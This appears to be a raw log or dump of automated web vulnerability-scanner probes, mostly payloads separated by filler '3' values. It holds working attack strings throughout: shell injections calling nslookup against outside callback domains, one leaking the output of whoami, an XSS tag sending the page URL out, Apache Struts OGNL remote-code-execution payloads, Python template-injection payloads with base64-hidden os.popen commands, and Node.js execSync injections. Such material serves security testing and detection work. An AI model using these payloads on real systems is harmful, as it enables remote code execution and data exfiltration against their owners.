3

&nslookup "h_cszcnetxhgah6wajmb7iu09e63zrq4euk4xv3y""grw.r87.me"

3

3

3

3

&nslookup "h_cszcnetxbt32pg1ykef751bx2f32cg0aq4649k""ouk.r87.me"

3

3

'&nslookup "h_cszcnetx2zfxay4mtv4qxdqjqqn_jhig9zsjce""19w.r87.me"

3

3

3

3

'&nslookup "h_cszcnetxshkcuzinqzebp067v9hyqbxmmpq_an""-xq.r87.me"

3

3

"&nslookup "h_cszcnetxjlsreekzi9vnfzs5swuoickndbdr8y""kmi.r87.me"

3

3

3

3

"&nslookup "h_cszcnetxlk2ya1egu1bnondincaawcbzaha7aa""gt4.r87.me"

3

3

|nslookup${IFS}"h_cszcnetxw0hfoo0mhei-_e_rvdtpp-uqhh7b6r""ehk.r87.me"

3

3

3

3

|nslookup${IFS}"h_cszcnetxkcztpxxxzht1htenhvawe1ay8j0imt""b60.r87.me"

3

3

<iMg src=N onerror="this.onerror='';this.src='//h_cszcnetxmf0v6o3kjxrwfpgidaplxbqdl-q4dg'+'ztk.r87.me/r/?'+location.href">

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup `whoami`."h_cszcnetxqcmnwxpenz2mhjvjeubnskvefr5oap""jea.r87.me"').(#p=new java.lang.ProcessBuilder({'/bin/bash','-c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

3

%{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='nslookup "h_cszcnetxhattlorujtkadehre3djdfc_gr3uyk"rps.r87.me"').(#p=new java.lang.ProcessBuilder({'cmd.exe','/c',#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

3

3

{{__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgaF9jc3pjbmV0eHh3ZDdpMHoya2hvODhrbG1iMjRoeWl2ZDFxYTV3bXNzMC5yODcubWU=')).read()}}

{{__import__('os').popen(__import__('base64').urlsafe_b64decode('bnNsb29rdXAgaF9jc3pjbmV0eHYyYmx1Y19iNHpmY3lweGFyLXE3Nmg3aXpucy00d3VfMC5yODcubWU=')).read()}}

3

{% set d = "eval(__import__('base64').urlsafe_b64decode('X19pbXBvcnRfXygnb3MnKS5wb3BlbihfX2ltcG9ydF9fKCdiYXNlNjQnKS51cmxzYWZlX2I2NGRlY29kZSgnYm5Oc2IyOXJkWEFnYUY5amMzcGpibVYwZUdWamJXaHVhbTl2Ym14alltNTRabkpzWHpOcFkyOWhabU41WTNZNUxUbDNkUzV5T0RjdWJXVT0nKSkucmVhZCgp'))" %}{% for c in [].__class__.__base__.__subclasses__() %} {% if c.__name__ == 'catch_warnings' %}{% for b in c.__init__.func_globals.values() %} {% if b.__class__ == {}.__class__ %}{% if 'eval' in b.keys() %}{{ b['eval'](d) }}{% endif %}{% endif %}{% endfor %}{% endif %}{% endfor %}

3

3

= global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgaF9jc3pjbmV0eGdmZjg1bmJ1bnVxLXB2bnRqNHF3d2RfbHBpcHZobi00dy5yODcubWU=','base64').toString())

1 x onload=netsparker(0x08786B)

= global.process.mainModule.require('child_process').execSync(Buffer('bnNsb29rdXAgaF9jc3pjbmV0eHR0djd4eWlnMmlzdW50MmJpeWtid3Fvd2Nzd21kZHR2cS5yODcubWU=','base64').toString())

3

3